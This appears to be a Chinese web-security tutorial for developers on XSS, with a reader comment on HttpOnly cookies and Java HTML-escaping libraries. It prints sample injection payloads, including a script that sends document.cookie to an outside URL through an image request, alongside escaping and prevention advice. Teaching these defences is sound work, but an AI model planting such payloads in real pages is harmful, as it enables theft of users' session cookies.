您的浏览器过于古老 & 陈旧。为了更好的访问体验, 请 升级你的浏览器
Ready 发布于2019年12月16日 17:55 最近更新于 2019年12月18日 00:38

原创 面向开发者的 Web 应用安全入门指南(4):XSS攻击

4629 次浏览 读完需要≈ 20 分钟 Java

内容目录

跨站脚本攻击,英文为 Cross-site Scripting,通常缩写为 XSS 攻击。它也是互联网上最常见的攻击方式之一。

实际上跨站脚本的英文缩写应该是CSS,可是CSS在互联网技术领域更多被用来表示层叠样式表,因此将跨站脚本攻击的缩写改为XSS攻击,以免与之混淆。

而且,XSS攻击漏洞也可谓是最容易因为稍有疏忽就会出现的安全隐患,有点防不胜防的意思,连国民应用 支付宝微信 也不能幸免。

什么是XSS攻击?

我们假设有这样一个业务场景:我们允许用户编辑自己的个性签名,在某用户编辑并提交之后,我们就需要将新的个性签名更新到数据库。

那么,我们在前端的编辑页面会有类似这样的一个表单:

<form action="https://codeplayer.vip/path/to/post" method="POST">
	<div class="form-group">
		<label>个性签名:</label>
		<textarea name="sign" rows="4" cols="80">${sign}</textarea>
	</div>
	<div class="toolbar">
		<button type="submit">提交</button>
	</div>
</form>

当用户填写了个性签名并提交之后,我们也需要在某些页面上将用户的个性签名显示出来,于是又有了类似如下的部分HTML:

<section>
	<h3>个性签名</h3>
	<div class="sign">${sign}</div>
</section>

如果用户输入的个性签名(参数sign)只是一段普普通通的话(比如:你居然在代码里下毒!!!),那没有任何问题。

最终输出的HTML代码如下:

<section>
	<h3>个性签名</h3>
	<div class="sign">你居然在代码里下毒!!!</div>
</section>

但是,如果用户输入的个性签名是这样的呢:<script>alert('弹窗来袭!')</script>

那么,最终输出的HTML代码就成了:

<section>
	<h3>个性签名</h3>
	<div class="sign"><script>alert('弹窗来袭!')</script></div>
</section>

在浏览器中渲染这段HTML代码,你会发现首先映入眼帘的居然是一个信息对话框!

浏览器弹出对话框
浏览器弹出对话框

我们的个性签名居然变成了一个弹出的对话框!也就是说用户输入的个性签名经过浏览器的渲染居然变成了可执行的JS代码

看到这里,大家应该明白了,只要恶意用户的输入类似于<script>这里是任意的JS代码</script>,那么恶意用户就可以利用我们的Web应用在任何访问该页面的浏览器上执行自定义的恶意JS代码!

上面的「弹窗来袭」还只是一个简单的恶作剧,如果是在涉及到用户隐私的页面,那么恶意者甚至可以窃取到用户的密码及其他隐私信息,或者直接以用户的名义发起转账交易等。

即使不是在用户隐私的页面,恶意者也可以通过JS代码窃取到用户的Cookie,尤其是JSESSIONIDPHPSESSID等会话ID信息。

<script>
	var c = document.cookie;
	var img = new Image();
	// 以图片URL的方式绕过 浏览器 的跨域限制
	// 图片的URL 就是恶意者自己掌握的一个站点,它可以在服务器端记录下用户的Cookie信息
	// 当然,可以不只是 Cookie 信息
	img.src = "https://codeplayer.vip/record/cookie?c=" + c;
</script>

一旦窃取到了这些信息,那么恶意者可以直接以用户登录会话的身份进行各种操作。

如何预防XSS攻击?

之所以会出现 XSS攻击,就是因为外部传入的请求数据包含恶意内容,这些恶意内容参与了浏览器中JS代码的构造,导致外部恶意用户有权构造并执行任何符合浏览器JS语法的JS代码。

既然 XSS攻击 这么可怕,那么我们该如何预防呢?

要解决这个问题,我们就必须确保外部传入的内容只能作为纯粹的文本,而不能影响 HTML或JS 代码的语法解析和执行。

因此我们需要对嵌入在HTML代码中的内容进行预转义处理:

public String handleRequest(){
	// …… omitted for brevity
	String sign = "<script>alert('弹窗来袭!')</script>"; // 实际上应该是从请求或数据库中获取
	sign = StringEscapeUtils.escapeHtml(sign); // 对需要在前台输出显示的个性签名文本进行HTML转义处理
	model.put("sign", sign);
	// ……
	return "some_page";
}

这样,我们在前台实际输出的HTML代码就变成了:

<section>
	<h3>个性签名</h3>
	<div class="sign">&lt;script&gt;alert('弹窗来袭!')&lt;/script&gt;</div>
</section>

“防不胜防”的XSS攻击

实际上,与 XSS攻击 相关的细节非常多,并不仅仅只是如上所述的「对输出内容进行HTML预转义」那么简单。

下面我们作一些简单的探讨作为延伸。

XSS攻击的分类

在业界,一般将XSS攻击根据攻击的来源分类为存储型反射型DOM型

本文定位于「入门」介绍,因此,在这里我们不对这几种分类的定义和细节作更多的探讨。

不过,究其本质,都是因为将来自于用户的输入URL参数POST参数第三方的链接Referer(来自不可信的来源)、Cookie(来自其他子域注入)等的普通文本,没有被正确过滤或转义,于是在浏览器等客户端中被渲染为 HTML 或 JS 等代码,从而有机会进行恶意攻击。

下面就是几种比较常见的例子:

<a href="javascript:alert('这里也能XSS注入')">链接</a>
<!-- 用户点击该链接时将触发 -->
<!-- "javascript" 前面加空格 或写成 "JAVAScript"(即不区分大小写) 照样可以触发 -->
<div><p onclick="alert('这里也可以XSS注入')">段落文本</p></div>
<div>
	<p style="expression('这里也可能XSS注入')">段落文本1</p>
	<p style="background-image: url('javascript:这里也可能XSS注入');">段落文本2</p>
</div>

不只是 HTML,在 JS 中引入外部文本,也可能会存在XSS攻击的安全隐患:

<script>
	location.href = "${URL}";
</script>

如果上述代码中的变量URL来自于外部用户的输入,则它也可以被构造为XSS攻击漏洞,例如:javascript:alert('XSS攻击')

<script>
	location.href = "javascript:alert('XSS攻击')";
</script>

如果在模板文件中直接嵌入JSON文本,并且其中包含来自外部的字符串数据,也可能会遭遇XSS攻击:

<script>
	var initJSON =  ${data.toJSON()};
</script>

我们假设上述代码中的data.toJSON()的实际JSON输出中包含name(姓名)和sign(个性签名)两个属性,并且用户输入的个性签名为个性签名</script><script>alert('XSS攻击!');</script>,则最终生成的动态HTML文件中可能存在如下代码片段(下面的JS代码会报错,但不影响中间构造的XSS攻击代码的执行):

<script>
	var initJSON =  {"name":"张三", "sign":"个性签名</script><script>alert('XSS攻击!');</script>"};
</script>

此外,如果我们在页面中引入了来自第三方的JS脚本文件,而第三方没有做好足够的安全措施,也可能导致脚本文件的代码被篡改,从而在我们的网页上发起XSS攻击。

防范“防不胜防”的XSS攻击

正是因为XSS攻击的无孔不入,令人防不胜防,因此我们才需要更加全面深入地了解XSS攻击,并尽可能全面地预防XSS攻击:

  • 对于任何来自外部的文本输入,只要是有可能会再次对外输出的,都必须要保持高度的安全意识,对文本内容进行专业的过滤或转义处理,确保对应的文本输出不会存在XSS攻击漏洞。
  • 当内容输出到不同的上下文环境(HTML、CSS、JS及其他非普通文本的环境)中,需要有针对性地进行不同的过滤或转义处理。
  • 过滤和转义应当尽量避免自行编写过滤和转义规则,建议最好使用业界通用的、专业成熟的转义库,后续还需要及时跟进更新。
    以 Java 为例,一般常用的转义库为org.owasp.encoder,详情可参见官网 OWASP Java Encoder Project
  • 尽量避免 前端代码 和 后端数据 的直接混淆内嵌,可以改为纯前端渲染,将前端代码 和 数据分隔开(通过异步获取数据)。
  • 纯前端渲染 仍然也需注意避免 DOM 型 XSS 漏洞,尤其是事件属性、链接跳转属性、JS代码等关键注入点。
  • 当使用 .innerHTML.outerHTMLdocument.write()eval()new Function()setTimeout()setInterval()可以将普通文本转化为指定上下文环境的代码的API时,要特别小心。
  • 事务性操作(添加、编辑、删除、上传、资金变动型交易等)只允许通过POST等方式提交请求。
  • 密码修改/找回、资金交易等高度安全敏感型操作,需要提供额外的确权凭证(原密码、支付密码、交互验证码、短信验证码、密保问题等)。
  • 在服务器端设置Cookie时,尽量添加 HttpOnly 标识,从而让JS在浏览器端无法获取到这些高度安全敏感的Cookie信息。
  • 对外部表单请求,尤其是异步请求,设置严格的跨域策略。
  • 使用 IBM Security AppScanArachniw3afMozilla HTTP Observatory 等第三方检测工具,尝试自动检测 Web 应用中的XSS漏洞(也不要完全信任其检测结果,很有可能没有检测出来漏洞,但实际却大量存在,只能将其作为查漏补缺的辅助手段之一)。

过滤和转义处理的时机考量

在预防XSS攻击的过程中,对文本内容进行过滤或转义是必不可少的。但是,我们应该在什么时候进行转义处理呢?

毫无疑问,存在两种方式:一种是在用户提交输入时,就立刻进行转义处理(简称「输入时转义」);另一种则是在每次对外输出时,才实时进行转义处理(简称「输出时转义」)。

这两种方式,各有优劣,我们在这里简单概括下,方便你根据实际情况权衡利弊后再作出合适的选择:

很显然,输入时转义在性能方面有较大的优势,统一在输入提交的入口完成转义处理之后,后续每次对外输出都无需再进行重复的转义操作,也不需要再小心翼翼地担心自己在某个地方是否因为疏忽而忘记了转义处理,堪称一劳永逸。

但是,实际的业务场景是复杂的,输入时转义并不具有普遍的优越性。

比如,将文本输出到HTML环境中,和输出到JS环境中,所使用的转义规则并不相同。

再如,我们只需要截取文本内容的前20个字符对外输出。如果存储在数据库中的是转义后的内容,也不利于我们实现字符统计、关键字匹配查询等需要依赖于原始文本内容的特定业务逻辑。

综上,建议你根据实际的业务需求来决定你应该在何时进行何种转义处理。

  • CodePlayer技术交流群1
  • CodePlayer技术交流群2

1 条评论

二周 · 4年前

HttpOnly

转自MDN:为避免跨域脚本 (XSS) 攻击,通过JavaScriptDocument.cookie API无法访问带有 HttpOnly 标记的Cookie,它们只应该发送给服务端。如果包含服务端 Session 信息的 Cookie 不想被客户端 JavaScript 脚本调用,那么就应该为其设置 HttpOnly 标记

另外,SpringBoot是默认开启HttpOnly 标记的。比如我有如下代码:

@GetMapping("/")
public ApiResult index(HttpSession session) {
	session.setAttribute("foo", "bar");
	return ApiResult.ok();
}

执行一下GET请求:

GET http://localhost:8080

HTTP/1.1 200 
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Set-Cookie: JSESSIONID=89E643059F69AB654F4696E70F56F026; Path=/; HttpOnly
Content-Type: application/json
Content-Length: 13
Date: Tue, 28 Apr 2020 11:49:07 GMT
Keep-Alive: timeout=60
Connection: keep-alive

{
  "code": "OK"
}

如果想要关闭HttpOnly标记,则需要一点配置:

@Bean
public EmbeddedServletContainerFactory servletContainer() {
    TomcatEmbeddedServletContainerFactory factory = new TomcatEmbeddedServletContainerFactory();
    factory.setTomcatContextCustomizers(Arrays.asList(new CustomCustomizer()));
    return factory;
}

static class CustomCustomizer implements TomcatContextCustomizer {
    @Override
    public void customize(Context context) {
        context.setUseHttpOnly(false);
    }
}

HtmlEscape

现在常用的有两种:

  1. Spring 提供的 org.springframework.web.util.HtmlUtils
  2. 大名鼎鼎的OWASP 下面我们来个简单的测试:
  • 引入Jar包
    	<dependency>
    		<groupId>org.owasp.encoder</groupId>
    		<artifactId>encoder</artifactId>
    		<version>1.2.2</version>
    	</dependency>
    
  • 测试代码
    	@Test
    	void htmlEscape() {
    		final String script = "<h1>Hello World! \"引号测试\"</h1><script>alert('弹窗来袭!')</script>";
    		System.out.println("script : "+script);
    		System.out.println("Spring HtmlUtils : " + HtmlUtils.htmlEscape(script, StandardCharsets.UTF_8.name()));
    		System.out.println("OWASP Encode : " + Encode.forHtml(script));
    	}
    

当然了,从性能测试来看,Spring的HtmlUtils性能要好很多。比如下面的性能测试代码:

	@Test
	void htmlEscape() {
		final String script = "<h1>Hello World! \"引号测试\"</h1><script>alert('弹窗来袭!')</script>";
		final int count = 100000;

		StopWatch watch = new StopWatch();
		watch.start("Spring HtmlUtils");
		IntStream.range(0,count).forEach(x->HtmlUtils.htmlEscape(script, StandardCharsets.UTF_8.name()));
		watch.stop();

		watch.start("OWASP Encode");
		IntStream.range(0,count).forEach(x->Encode.forHtml(script));
		watch.stop();

		System.out.println(watch.prettyPrint());
	}

输出结果: iShot2020-04-2923.08.38.jpg

0 0 0

撰写评论

打开导航菜单